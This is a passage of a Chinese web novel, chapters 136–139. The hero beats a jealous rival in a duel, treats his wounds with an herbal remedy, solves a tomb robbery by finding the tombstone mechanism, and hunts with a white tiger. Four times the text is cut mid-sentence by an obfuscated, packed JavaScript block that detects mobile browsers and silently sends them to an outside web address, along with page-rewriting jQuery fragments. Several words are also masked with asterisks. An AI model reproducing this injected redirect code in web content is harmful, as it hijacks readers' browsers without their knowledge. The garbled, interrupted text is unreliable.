还说不是神仙?!
不光能够驱雷掣电,还可以降龙伏虎?
这不是神仙什么是神仙?
“可恶,就差一点!都怪那只白毛大虫!”
萧复梁的刺杀,因突然出现的白虎搅局,宣告失败。
但对薛猛的恨意,却像一根毒刺,深深刺入他的心脏!
不杀了薛猛,他誓不罢休!
篝火晚会结束后,薛猛被安排在一间毡房里休息。
白虎守在毡房周围,来回巡视,一夜未曾离去。
翌日清晨。
河边洗衣的妇人们,将昨天发生的事情传得沸沸扬扬,神乎其神。
“大家都听说了吗?那位山外来的薛神仙,乃是紫薇帝星临凡,能驱雷掣电,有白虎佐佑!昨晚那只白毛大虫,守了他一夜呢!”
“切!这事儿我早就知道了!”
“昨天我家那口子,可是亲眼看见他口中大喝一声‘雷来’,便真有雷霆降下,把族母的毡房顶都给轰穿了!”
“有如此神通,他还说自己不是神仙呢!”
“真是怪了!假神仙天天装神弄鬼,真神仙却说自己不是神仙!”
“老话说得好!**不露相,露相不**嘛!”
“……”
众人有说有笑聊得热闹,却听放马的半大小子扯着嗓子,满村子叫喊道。
“大家快去看呐!少将军要和薛神仙切磋比武啦!”
“少将军若是嬴了,薛神仙就送我们五十匹蜀锦!”
“少将军若是输了,就要送薛神仙五十匹龙驹马!”
“啥?”
听到这话,妇人们全都傻眼了。
这少将军,怎么好端端要和薛神仙比武?
还用龙驹马打赌?
“走走走,去看看!”
相比起河边的妇人,得知萧复梁要跟薛猛比武,族母的反应更为激烈。
“什么?复梁要跟薛神仙比武?”
“这个不肖子孙,他到底想干什么?”
“快快快,扶老身起来,我得赶快过去阻止他们!绝不能让这个不肖子,冒犯了薛神仙!”
昨天见识过薛猛驱雷掣电,降服白虎后,再一联想到之前天上的异常星象,族母已经认定薛猛就是紫薇帝星下凡。
她本来还盘算着,让萧家军追随薛猛,将来从龙有功,或可让大梁幽而复明。
没成想萧复梁这龟孙孙儿,一大清早就给她拉坨大的!
几个胆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313099|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子啊,敢跟神仙比武?
……
“萧兄弟,非打不可吗?你想要蜀锦,其实我们可以直接交易的!”
比武场上,已是围满了前来围观之人。
看着对面主动发起挑战的萧复梁,薛猛表示很无奈。
一大早刚睡醒,酒劲儿还没消呢,这家伙就点名要跟他切磋比武。
薛猛本不想应战,奈何对方提出了一个让他根本无法拒绝的赌约。
赢了,可以白嫖五十匹龙驹马!
那可是堪称“马中之龙”的龙驹马啊!
薛猛现在最缺的就是这种优质战马!
五十匹龙驹,比五十个老娘们儿还让他上头!
但薛猛是真不想一大早就动武:“我可以用十匹蜀锦,换你们一匹龙驹!”
“五十匹龙驹,也就是五百匹蜀锦!不用比武,直接交易,岂不更好?”
薛猛开出的这个交易条件,听得围观众人无不动心。
他们太缺布料了!
更何况是蜀锦这样的上等布料!
萧南乐暗中计算了一番,他们一共有二百匹龙驹马,还驯养了不少野马。
卖给薛猛五十匹,还剩下一百五十匹龙驹,可以继续配种繁育。
虽然每匹龙驹马对大梁人都十分重要,情同手足,但薛猛给得实在太多了!
那可是五百匹蜀锦呐!
相信龙驹马,也会理解的!
就连萧灭虞这个掌管大梁兵马的“大司马”,也有些心动。
薛猛不是等闲之人,这些龙驹跟了薛猛,也不算辱没它们!
在场所有人心中都赞成这笔交易。
唯独萧复梁不同意!
他想要的根本就不是什么蜀锦!
而是薛猛的命!
只恨昨晚那只白虎碍事,在薛猛门外守了一夜,让他无从下手。
思来想去,暗中刺杀非英雄之举,他决定通过比武切磋的方式,光明正大地打死薛猛!
“废话就不必多说了!”
“今天这场比武,不是你倒下,就是我倒下!”
见萧复梁满脸杀气,一副要跟自己拼命的架势!
薛猛丈二和尚摸不着头脑,心说我到底哪里得罪这愣头青了?
这么大火气?
不知道的,还以为我抢了他老婆,杀了他亲爹呢!
“还是算了吧,咱俩没怨没仇的,何必伤筋动骨!”
“买卖不成仁义在,你不同意,这买卖不做就行了呗!”
薛猛摆摆手,转身就走。
又不是三岁小孩儿,一言不合就开打。
有这功夫,还不如早点回家,继续倒腾新武器!
看着薛猛离去的背影,萧复梁冷声怒喝:“你如果怕了,不想跟我打,也可以!”
“从我裤裆下面钻过去,承认自己不是神仙,只是个怂包,我就放你走!”
萧复梁此言一出,全场哗然!
薛猛也是步子一顿。
虎目微眯,暗自握紧了双拳!
第136章 薛猛醉打萧复梁
这家伙,是焖子吃多了,被大胃袋接管大脑了是吧?!
薛猛本来就有起床气,加上酒劲儿还没消,脑瓜子嗡嗡的,只想回家好好睡个回笼觉!
没想到萧复梁这**,一而再再而三纠缠不清!
居然还踏马,想让老子钻裤裆?!
有句话说得好哇。
婶可忍,叔不可忍!
对方都蹬鼻子上脸了,薛猛也没必要装什么文明人儿了。
“行,你要打,老子奉陪到底!不过开打之前,老子要告诉你两件事情!”
“第一,老子本来就不是什么神仙!”
“第二,老子确实怕了,怕一不小心,打死你个兔崽子!”
薛猛啪的一声,脱下衣服,摔在地上,转身大踏步朝萧复梁走了过去。
来到距离萧复梁五步之外的距离,二人相对而立,眼神在空气中对撞的刹那,战意迅速攀升到极致。
“但愿你的本事,大过你的口气!”
见薛猛应战,萧复梁也脱下了衣服,露出油亮的紫红皮肤。
清晨的朝阳,如金光洒落。
两人精赤上身,彼此对峙。
萧复梁身形高壮,腰如水桶,板肋虬筋,典型的脂包肌。
相比之下,薛猛身形精瘦得多,虎背狼腰,猿臂螳腿,四肢像铁水浇筑的雕塑一样,没有一丝肥余。
脊背上的肌肉轮廓,像一张狰狞的鬼脸!
“擂鼓助威!”
砰!砰!砰!
战鼓声敲响。
萧灭虞点头示意比武开始。
围观众人全都屏息凝神,瞪大眼睛看着比武场上对峙的两人。
“薛公子,好帅!”
宋婉儿呼吸急促,眼都看直了,这还是她第一次看见薛猛光着身子的样子!
薛猛虎目微眯,精芒内敛,移步周旋,打量着萧复梁,像一只巡视自己领地的猛虎。
萧复梁目光凶狠,瞥见围观人群中的萧南乐,心中仇恨的火焰,被撩拨得愈发猛烈!
因为萧南乐的目光,一直在薛猛身上!
那担忧、关心的眼神,像一把把刀子,把萧复梁的心都搅碎了!
一想起昨晚萧南乐靠在薛猛肩头的亲昵样子,萧复梁内心升起一股浓烈的杀意!
全身所有气血,涌至颅顶。
“嗨啊!吃我一拳!!”
仇恨使人疯狂,嫉妒使人变态!
萧复梁满脸狰狞,五指握拳,脚尖蹭地,像扑猎的郊狼一样疯狂冲向薛猛。
啪!
铁拳横扫而出,势不可挡!
“不吃,谢谢!”
薛猛眼中寒芒一闪,后发制人,闪瞬之间,避过对方攻击的同时,后手重拳击中萧复梁胸口。
“噗……啊!”
一口鲜血喷出。
萧复梁忍痛后退,抹了把嘴角血迹,急忙矮身施展扫堂腿,扫向薛猛脚踝。
不料薛猛提前抬脚,萧复梁扫了个空,反被薛猛踩住脚背。
“呃哈!”
萧复梁疼得急忙缩回脚,挣扎着从地上爬起来,企图再次进攻,然而薛猛的铁拳早已朝他劈头盖脸打来。
刺拳,直拳,摆拳,勾拳,肘击!
薛猛完全掌握了节奏,一套组合拳下来,直接把萧复梁打懵逼了。
随着“**”一连串拳头击打在皮肉上的闷响,萧复梁被打得鼻青脸肿,节节败退。
突然,薛猛的攻势停止了,萧复梁缓了口气,还以为是薛猛没力气了,强行睁开一条眼缝,想要还击。
眼前却出现了好几个薛猛的重影。
还没等他反应过来怎么回事,已经被薛猛抱住他的腰身,勾住脚踝,一个抛摔顶得他双脚离地,后背重重砸在地上!
萧复梁口中发出“啊”的一声嚎叫,只觉全身骨头都被薛猛摔散了架。
若是寻常人被这么一摔,基本就丧失战斗力了!
然而萧复梁却硬生生爬了起来。
见薛猛扶着额头,摇摇晃晃,萧复梁得意一笑:“怎么?酒还没醒?哈哈!天要你亡,那可怪不得我了!”
“哈啊!!”
萧复梁心中发狠,使出了浑身力量,宛若发狂的黑熊朝薛猛扑了过来。
可是很遗憾,就算薛猛酒劲未消,但攻防意识早已刻入骨髓!
萧复梁的拳头还没碰到薛猛衣角,便听空地上炸起一声啸叫。
“阿达!”
薛猛的腿像鞭子一样抽在了他的脸上。
这一脚势大力沉,萧复梁接连往后退了好几步,脸上淌满了鼻血,像一只大花猫。
但这家伙是真抗打,好像有使不完的牛劲儿,擦干鼻血,再次发起进攻!
但无一例外,无论他的攻击多么凶猛凌厉,全部都被薛猛轻松破解。
薛猛看上去就像只醉猫,东倒西歪,晕晕乎乎,好像下一刻就会倒下。
但却总是能够在躲避对方攻击的同时,迅速给予精确还击。
萧复梁还没反应过来怎么回事,小腹就结结实实挨了薛猛一记迅猛狠辣的回身脚。
他还没来得弯腰呼痛,又被薛猛擒住手腕和肩膀,往后一拽,整个人像案板上的面团,被摔打在地。
当着这么多人的面,连连挫败,自己却连薛猛的一根汗**都没碰到,萧复梁气急败坏。
顽强地从地上爬起来,怒喝一声,再次冲向薛猛。
然而这一次,等待他的是薛猛的杀招!
薛猛前手虚晃,扰乱萧复梁视线,后手攒紧如鸡心,后发先至,直插对方耳根凹陷处。
“噗——!”
萧复梁顿觉自己像被雷劈了一样,一口血箭喷出,颧骨、脑骨都在嗡嗡颤响,比操办红白喜事的乐班还要热闹。
在他失去意识的前一刻,恍惚看见薛猛忽然一记侧身飞踹,狠狠朝他胸口踹来!
他想要躲闪,但大脑已经失去了意识。
“咔!砰——!”
在薛猛狂暴的腿力摧残之下,牛高马大的萧复梁直接倒飞了出去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313100|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>脊骨重重砸在一棵老树上,树叶哗啦啦掉落一地。
萧复梁滑坐在地,背靠树干,耷拉着头。
嘴巴大口呛血,半个前襟全被血迹染红。
“……”
萧灭虞神情凝重,双目圆瞪,注视着比武场上的情形,一言不发。
内心掀起的惊涛骇浪,却是久久无法平息。
萧南乐也是双目失神地看着这一切,心中的惊愕早已无法用任何言语形容。
至于围观的大梁族人,每个人眼中除了震惊,更多的是充斥着茫然和绝望。
两百年来,他们从未忘记光复大梁的伟业!
培育龙驹马,缝制皮甲,传承祖先留下的武艺和战阵之法,为的就是有朝一日,重现当年的萧家军。
而萧复梁,作为大司马萧灭虞的儿子,是年轻一代最勇猛的存在!
不仅被大家奉为大梁少将军,更是白马义从的首骑!
从小就被大家寄予厚望,希望他有朝一日,能够带领大家走出贡嘎草原,夺回失地,光复大梁!
可现在,眼睁睁看着薛猛像爸爸打儿子一样,轻松完虐萧复梁!
大梁族人的光复梦,也随之粉碎!
要知道,薛猛昨晚喝醉了酒,酒劲儿还没消呢!
要是他没喝醉,估计战斗会更快结束!
对大梁族人而言,这两天发生的变故,实在太多了。
先是被他们奉为仙师的大祭司,成了彻头彻尾的大骗子!
现如今,就连他们公认的第一勇士萧复梁,竟也如此不堪一击?
“大梁完了,全完了!”
“我们注定没有翻身之日了!”
当萧复梁倒下的那一刻,所有人的心都冷了。
“好,打得好!对待这种不肖子孙,就该狠狠教训,让他长长记性!”
然而就在这时,一声“幸灾乐祸”的喝彩响起。
“谁?!”
众人循声扭头看去刚想发火,但见喝彩之人,竟然是族母,顿时就没了火气!
族母在放马的半大小子搀扶下,拄着拐杖,急匆匆朝比武场走了过来。
“族母,您老人家怎么来了?”
萧灭虞顿时坐不住了,连忙上前帮忙搀扶族母。
“我怎么能不来?”
“你的好大儿,连薛神仙都敢打,老身要是再不来,还不知道他能惹出什么大祸!”
族母没有搭理萧灭虞,而是来到薛猛面前,满怀歉意赔礼:“薛神仙,你没事吧?复梁这不肖子孙,没伤到你吧?”
薛猛摆摆手,随即指了指萧复梁:“我没事儿,你们还是去看看他吧!”
打一架出了一身汗,薛猛的酒也醒得差不多了。
看着萧复梁被自己打得魂儿都快散了,薛猛是真怂了!
他怕嘎巴一下,把这人打**!
看来以后得给自己定个死规矩。
喝酒不打架,打架不喝酒!
喝醉了下手,没轻没重的,容易出事儿啊!
第137章 大梁国宝
薛猛的格斗技法,糅合了散打、摔跤、擒拿、截拳道,还学过八极、形意等传统武技。
中西合璧,融会贯通,在前世执行任务时,罕逢敌手。
现如今,又学习了盗门绝技含香步!
可谓如虎添翼,游走之间,让对手连他的衣角都摸不到。
萧复梁再怎么勇猛,终究见识有限,掌握的格斗技巧太过原始,根本不可能是薛猛的对手!
“天呐!”
宋婉儿替萧复梁做了初步检查了后,吓得说话都不利索了:“肋骨断了三根,门牙掉了两颗,疑似内伤淤血,伴随神志不清……”
“薛公子,这可怎么办?他这种情况,只怕是药石无医了!”
宋婉儿扭头看向薛猛,蹙眉道。
萧灭虞闻言,急出一身汗,连忙拱手跪求薛猛:“薛神仙,我知道您神通广大,手段通天,肯定有办法医治犬子!”
“犬子无意冒犯薛神仙虎威,我替他向您赔罪了!还望薛神仙,大人不记小人过!救救犬子!”
大梁族人见状,也纷纷跪了下来,向薛猛磕头求情。
“薛神仙神通广大!救救少将军吧!”
看着双目空洞,气若游丝的萧复梁,薛猛摸了摸额角细汗。
酒劲儿上头,下手是有点黑!
虽然这都是这家伙自找的,但在人家的地盘,真把人打**,也确实有点过分!
“行吧,我看看!”
蹲下身,查看了萧复梁的伤势,薛猛顿时倒吸一口气。
就这情况,但凡身体素质差一点,当场就寄了。
这家伙血真厚啊,这都不死的吗?
“大家别急!快去杀一头羊,取一碗鲜羊血做药引子!”
“婉儿,我来开方子,你去熬药!”
“好!”
“菖蒲2钱,人参3钱,红花1钱,皂角刺1钱,半夏3钱,苏叶2钱,麝香1钱……”
“没有半夏,只有天南星。”
“也行,但要减少用量,只用2钱即可!”
“嗯嗯!”
片刻后。
萧复梁被转移到了一间毡房里。
药熬好了,新鲜羊血也取来了。
薛猛将羊血和药汤混合在一起,捏开萧复梁的嘴,给他灌了下去。
羊血助红花活血散瘀之效,人参补气,苏叶理气,南星宣痹,皂角通络,菖蒲、麝香开关通窍。
这一剂猛药下去,不管是打死、淹死、上吊死、**、压死,只要还没死透,都能救上一救。
所以也被称为“救绝仙方”。
服完药后,萧复梁的小命算是保住了,但身上的伤太重,不将养个十天半个月,怕是别想痊愈。
不过,身体上的伤痛根本就不算什么。
关键是心气被薛猛打散了。
刺杀薛猛,薛猛有白虎护佑!
挑战薛猛,结果被薛猛打出屎!
本以为要**,可以解脱了,结果还被人家给救了回来。
萧复梁心里五味杂陈。
与其说是恨薛猛,倒不如说是恨自己无能!
“你赢了。”
“我萧复梁愿赌服输,五十匹龙驹马,你带走吧!”
“我只求你一件事……”
薛猛放下药盏,点头道:“你说!”
萧复梁看了看站在薛猛身后的萧南乐,眼神中流露出一丝不舍和悲凉。
“这件事情,我只跟你一个人说!”
薛猛点了点头,随即摒退了屋里其他人。
“现在就咱们俩了,你说吧!”
萧复梁强忍身上伤痛,撑起身子,凑近薛猛耳边,张了张嘴:“以后,对我表妹,好点儿!”
“啥?”
薛猛直接被整懵了。
这家伙,啥意思啊?
萧复梁说完,像是托付了人生最后一件大事,缓缓躺回了床上。
闭上双眼,脑海中全是萧南乐的音容笑貌。
泪水无声淌流,逐渐溢满双颊。
薛猛挠了挠头,心说自己也没开错药哇,这哥们儿抽哪门子风呢?
“不好了!大事不好了!”
“萧彻将军的墓被人盗了,大梁镇国之宝不见了!!”
门外突然传来惊叫声,原本还在为儿女情长黯然神伤的萧复梁,闻听此言,顿时垂死病中惊坐起。
“什么?国宝被人盗了?!”
突然起身的动作,撕裂伤口,疼得萧复梁龇牙咧嘴。
但他却顾不上疼痛,强撑着身子下了床,朝门外跌跌撞撞追去。
“大梁国宝?”
薛猛闻言,皱了皱眉,也连忙跟了出去。
……
距离村子不远处,一处墓门大开的墓穴前,围满了人。
萧灭虞和一群白马义从,急得像热锅上的蚂蚁。
嘴里大骂着:“到底是谁!吃了熊心豹子胆,竟敢盗萧彻将军的墓!”
“让我抓住
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313101|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,必要将其**万段!”
“……”
薛猛在人群中瞥见了萧南乐,连忙凑上前去,问道:“乐儿姑娘,到底出什么事了?”
萧南乐见了薛猛,眉头轻锁,面上愁云密布,叹了口气:“萧彻将军的墓被人盗了,陪葬的两件大梁镇国之宝,也不见了!”
薛猛一怔:“萧彻将军?就是评书里说的那位,带领八百白马义从,杀出大虞五万大军重围的猛将?”
萧南乐点头道:“对!就是他!”
“萧彻将军是我们大梁的英雄!”
“若没有他带领八百白马义从,义护哀帝杀出重围,进入**凼,找到了这片贡嘎草原,就没有现在的我们!”
“萧彻将军死后,族人将他生前使用过的玉龙透天枪、照夜灵光铠两件镇国之宝,陪葬其中,以表敬意!”
“两百年来,每天早上都会有族人到墓前,为萧彻将军扫墓上香,可就在今天早上,前来扫墓的族人发现墓门大开!”
“里面陪葬的东西,全都不翼而飞!”
“不仅如此,马圈里还少了两匹马!”
“定然是被那盗墓之人骑走了!”
薛猛闻言皱眉,若有所思。
贡嘎草原深藏于**凼腹地,外面有迷雾竹林作为天然屏障,山外人几乎不可能找到这里来!
怎么会突然出现盗墓贼?
难道是大梁族人,盗了自己老祖宗的墓?
也不对啊!
这萧彻将军,既然是大梁族人祖祖辈辈心目中的英雄!
受到众人景仰。
以这些古人的封建程度,是万万不敢盗挖自己祖先的墓的!
“爹,萧彻将军的墓里,不是设置了机关暗箭吗?”
“而且墓门重达千斤,非九牛之力不可撼动!怎么会一夜之间被盗,我们却没听见一点动静?”
萧复梁捂着伤口,皱眉问道。
萧灭虞何尝不是满心困惑。
“哎!别提了!为父已经派人进去看过了,墓道里的机关暗箭一箭未发!”
“墓门也没有任何损坏痕迹!”
“什么?!”
听闻此言,围观人群皆是满脸惊异错愕。
天底下,竟有如此离奇之事?
千斤重的墓门,难不成能自己打开不成?
“我知道是怎么回事了!”
就在众人焦头烂额毫无头绪之际,薛猛的声音忽而响起!
第138章 福祸相依
“哦?”
薛猛此言一出,所有人都将目光齐刷刷聚焦在了他身上。
“还望薛神仙明示!”
萧灭虞连忙上前,对薛猛拱手请教。
薛猛并没有直接回答,而是来到墓穴前,四处打量。
最后目光落在了墓穴前方的墓碑上。
墓碑上面铭刻着萧彻的生平事迹和赫赫战功。
但奇怪的是,边上有两个字出现了轻微磨损,像是被什么东西摩擦过。
薛猛伸手摸了摸,从摩擦痕迹来看,像是被绳索套住用力拖拽产生的磨损。
“我明白了!”
薛猛虎目微眯,让人取来绳索,套在石碑上。
牵来两匹龙驹马向右边拽动绳索。
墓碑底座竟然转动了起来。
只听咚的一声闷响,原本抬起的墓门轰然垂下,封闭了墓穴。
“这?”
看见这一幕,众**惊失色。
薛猛紧接着又要两匹马向左边拽动绳索。
墓碑底座再次转动。
墓门也随之缓缓升起!
一时间,所有人都看傻了眼。
“原来这个墓碑,就是开启墓门的机关?”
“薛神仙,你是怎么知道,这里有机关的?”
薛猛说出了自己的猜想:“要想打开千斤重的墓门,还不留下任何损坏痕迹,除了机关操控外,我实在想不到还有什么别的想法!”
“而且,这墓碑上有两处轻微磨损!”
“再一联想到盗墓贼偷走了两匹马!”
“不难猜出这墓碑就是机关!”
听了薛猛的分析和解释,众人这才恍然大悟!
有人疑问道:“可这盗墓贼,又是怎么知道这个机关的呢?”
“是啊!连我们都不知道的机关,这盗墓贼是怎么找到的?”
薛猛闻言,也是低眉思索起来。
墓碑上的痕迹很新鲜,可见在盗墓贼用马拽动墓碑之前,墓碑上应该是没有磨损痕迹的!
这家伙,肯定是一早就知道墓碑暗藏机关!
那么他到底是谁?
为何对萧彻的墓,如此了如指掌?
薛猛思来想去,最后只想到了一个可能性。
“真相只有一个!”
“盗墓之人,很可能就是修造这座墓的人!”
“或者说,是修墓的那一伙人!”
薛猛这话,犹如晴天霹雳落下,听得所有人都是一怔。
在大梁,婚丧嫁娶,安葬入墓,都由大祭司一手操办!
萧彻将军的墓,也是两百年前的大祭司选址修造的!
难道说,盗墓之人其实就是大祭司?
“我明白了!听薛神仙这么一说,我全明白了!”
萧灭虞似乎想通了其中关节,目光闪烁,激动道:“如果真是大祭司盗的墓!就说得通为什么墓门大开,墓里的暗箭却一箭未发了!”
“大祭司一脉,历来是父子相传,他肯定早就知道这开启墓门的机关,还知道怎么让暗箭失灵!”
“在修造将军墓之初,这些家伙就已经在盘算盗取国宝了!”
“将军墓,就像是他们的藏宝阁,只要他们愿意,随时可以开启墓门,取走里面的国宝!”
听了萧灭虞这番话,在场众人无不是满脸悲愤,对大祭司咬牙切齿!
“**!这帮该死的**!!”
“愚弄了我们数百年也就罢了,如今竟然还盗走了我们的国宝!”
“若是抓住这厮,不把他挫骨扬灰,难解我们心头之恨!”
“慢着!”
就在这时,萧南乐忽然抬手轻喝:“大祭司不是已经被点天灯了吗?”
“……”
群情激愤的众人,顿时安静了下来。
你看看我,我看看你,随后所有目光都扫向了萧复梁!
负责给大祭司点天灯的,正是萧复梁!
“复梁,到底怎么回事?”
萧灭虞看着自己的儿子,也是皱起了眉头。
咕咚。
萧复梁目光闪烁,咽下一口唾沫。
意识到自己闯了多大的祸,仿佛被抽干了全身气力,一屁股瘫坐在地。
“爹,孩儿……孩儿鬼迷心窍!”
“被那老东西蛊惑!”
“放走了他!我也没想到,他走之前,会盗走国宝……”
“什么?!你这个混账!!!”
萧灭虞双目圆瞪,气得“啊啊”大叫,拔出腰间弯刀,就要**这个不肖子!
若不是身旁众人及时拦住他,萧复梁今天就要被他亲老子大义灭亲了。
很快,萧复梁放走大祭司,导致萧彻将军墓被盗,国宝不翼而飞的事情,就传到了族母的耳朵里。
族母本就年迈体衰,听说国宝被盗之后,一口郁结之气堵在胸口,当场就病倒了。
萧复梁死罪可免,活罪难逃,三百军棍打得皮开肉绽!
本就受了伤,如今伤上加伤,连床都下不来了……
但这些肉体上的刑罚,远不如内心的自责、懊悔,带给他的折磨更加深刻痛苦!
“我该死!”
“我真该死啊!”
萧复梁整日卧于病榻之上以泪洗面,每当想起自己放走大祭司的蠢事,就忍不住狠狠抽自己。
而萧灭虞则亲自率领百余骑白马义从,兵分三路,追击盗走国宝的大祭司。
薛猛也逐渐弄清楚了萧复梁对自己的敌意从何而来。
搞了半天,这小子被大祭司忽悠了,把自己给当情敌了!
“乐儿姑娘,我就先走了!你跟你表哥说,我早就有老婆了,让他别瞎想!”
薛猛是好色,但也不是见到女的就上啊!
他对萧南乐真没什么特殊想法。
临走前,薛猛决定跟萧南乐说清楚!
“我才不和他说呢!”
萧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313102|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
南乐却是闹起了意见:“我敬他是表哥,他却对我有非分之想……哼!我以后都不会再搭理他了!”
“倒是你!你昨晚喝醉了,对我做了什么,我可记得清清楚楚!”
“啥?我做啥了?”
薛猛明知故问,装傻充愣。
宋婉儿背着薛猛的药箱,骑在一匹高大俊美的龙驹马上,催促道:“薛公子,咱们快走吧!一夜没回去,家里人该担心我们啦!”
对于宋婉儿而言,这一天一夜的经历,简直比她以前十几年的经历还要离奇!
她只想快点回家,好好缓一缓。
“嗯好!乐儿姑娘,我们就先告辞了!”
薛猛翻身跨上虎背,双脚轻轻一夹虎腹,白虎虎爪蹭地,驮着薛猛,直接跃出五米开外。
宛若一道白色旋风,绝尘而去。
“长公主,我也走了!”
赶马的半大小子,赶着五十匹龙驹马向萧南乐告别,一想到马上就要出山,他可兴奋坏了!
这是他长这么大以来,第一次离开贡嘎草原!
山外面的世界,肯定很丰富多彩吧?
若不是托薛神仙的福,替他送五十匹龙驹马去卧虎村,他还没有这个机会呢!
“我也去!”
萧南乐翻身上马,盯着薛猛一人一虎远去的背影,清澈眼眸目光坚毅。
她决定!
为了自己,勇敢一次!
“长公主,你不能去!万一遇到危险怎么办?”
半大小子顿时慌了:“我可没有少将军的本事,保护不了你呀!”
“谁需要你个小屁孩儿保护?如今我大梁国宝被盗,本公主自然要出山追回国宝!不找回国宝,我就不回来了!”
萧南乐说完,腰挎割鹿弯刀,手中马鞭高扬:“驾!”
龙驹马发出一声嘶鸣,蹄溅黄沙,飞奔而去。
“这…!长公主,等等我啊!”
半大小子擦了把额角冷汗,连忙赶着马群追了上去。
毡房内,族母苍老的双手颤颤巍巍,捧起烧裂的龟甲,仔细查看上面显示的卦象。
想要算一算国宝的下落!
龟甲上清晰笔直的裂纹为阳爻,模糊弯曲的裂纹为阴爻。
阴爻阳爻,组成了“山地剥”的卦象。
此为凶卦!
族母愁容满面,内心沮丧,突然听见外面有人闯入:“族母,不好了!长公主跟着薛神仙跑了!”
“什么?”
族母双手一抖,手中龟甲掉落在地。
啪的一声,龟甲之上又摔出了新的裂纹。
族母慌忙捡起龟甲,低头一看,顿时释怀一笑。
龟甲上新出现的裂纹,使得卦象变为天雷无妄。
此为化凶为吉之象!
“失之东隅,收之桑榆!”
“福祸相依,先凶后吉!”
“乐儿此去未必是坏事,由她去吧!”
第139章 抓贼,我是专业的!
“吼!!!”
虎啸声如雷,回荡于卧虎山中。
薛猛张弓搭箭,胯下骑着白虎,在林中飞速穿梭,追逐着前方一只倒霉的马鹿!
“哈哈!小宝贝儿别跑!正好今晚加餐!”
薛猛虎目微眯,撒手放箭,一道寒芒对准马鹿肺部射去!
马鹿中箭的瞬间,还想挣扎逃跑,却被飞扑而至的两只虎爪,扑翻在地,直接就被白虎咬断了脖子。
噗叽!
鹿血飞溅!
淋了薛猛满脸!
“哈哈!小白,干得漂亮!”
薛猛抹了把脸上的鹿血,顿觉无比兴奋,仿佛又回到了最开始一无所有,打猎逐鹿的日子!
不同之处在于,当初的自己穷得叮当响,打猎仅仅只是为了谋生。
手里只有一把粗糙的桑木反曲弓,好不容易猎杀一头马鹿,就已经累得筋疲力尽。
而现在,自己已经不需要再靠打猎谋生,打到猎物,也顶多就是给大伙儿加个餐。
胯下骑白虎,手拿射日弓。
虎壮人威,人仗虎势!
弓开如雷,箭出如电,例无虚发!
一人一虎一把弓,雄镇七百里卧虎山,所到之处,百兽无不惊惶!
“痛快!!”
薛猛一时兴起,让宋婉儿先行下山,而自己则驱驰白虎,横行山中,手中箭矢如雨撒下!
不断有林麝、野猪、马鹿、黑熊倒地殒命。
“难怪古代的帝王,都喜欢逐鹿狩猎!”
“这种肾上腺素飙升的感觉,真他娘痛快!”
一番畅快猎杀后,薛猛颇觉尽兴。
“小白!今天玩得很高兴!下回咱们再一起狩猎!打的猎物,咱们一人一半!”
“吼!!(虎语:好)”
和白虎三步两回头地分别后,薛猛依依不舍,独自下了山,准备找人上山抬猎物。
“喂!前面的是薛猛吗?!”
没走一会儿,身后一个再熟悉不过的清冷声音突兀响起。
薛猛扭头看去,只见一道手拿**的红色身影,从林丛中走了出来,身后还跟着同样手拿**、**的巡猎队队员。
“红玉妹子,你们来得正好!我刚才打了不少猎物,正愁弄不走呢!”
薛猛认出来人正是裴红玉,当即咧嘴一笑。
裴红玉冷哼一声,没好气道:“哼!总算找到你了!昨晚你跑哪儿去啦?一夜未归,害得我们差点没把整座山都掀过来!”
嘴上虽是这么说,但见到薛猛没事,裴红玉悬着的心也终于放下!
薛猛一夜未归,大家都很担心他!
“薛猛,你现在打猎越来越厉害了!一个人居然打到这么多猎物!”
看着林中倒伏的猎物尸体,裴红玉不由赞叹。
薛猛凡尔赛道:“一般般啦!”
众人齐心协力,将猎物抬回了卧虎村。
见到这么多的猎物,村民们都高兴坏了!
这么多肉,又可以加餐了!
林雅娴更是对猎物的皮**赞不绝口:“这熊皮、鹿皮,用来做冬衣,是最好不过了!长根儿,回头我给你做身鹿皮大氅!”
“行!大老婆说了算!”
薛猛咧嘴笑道。
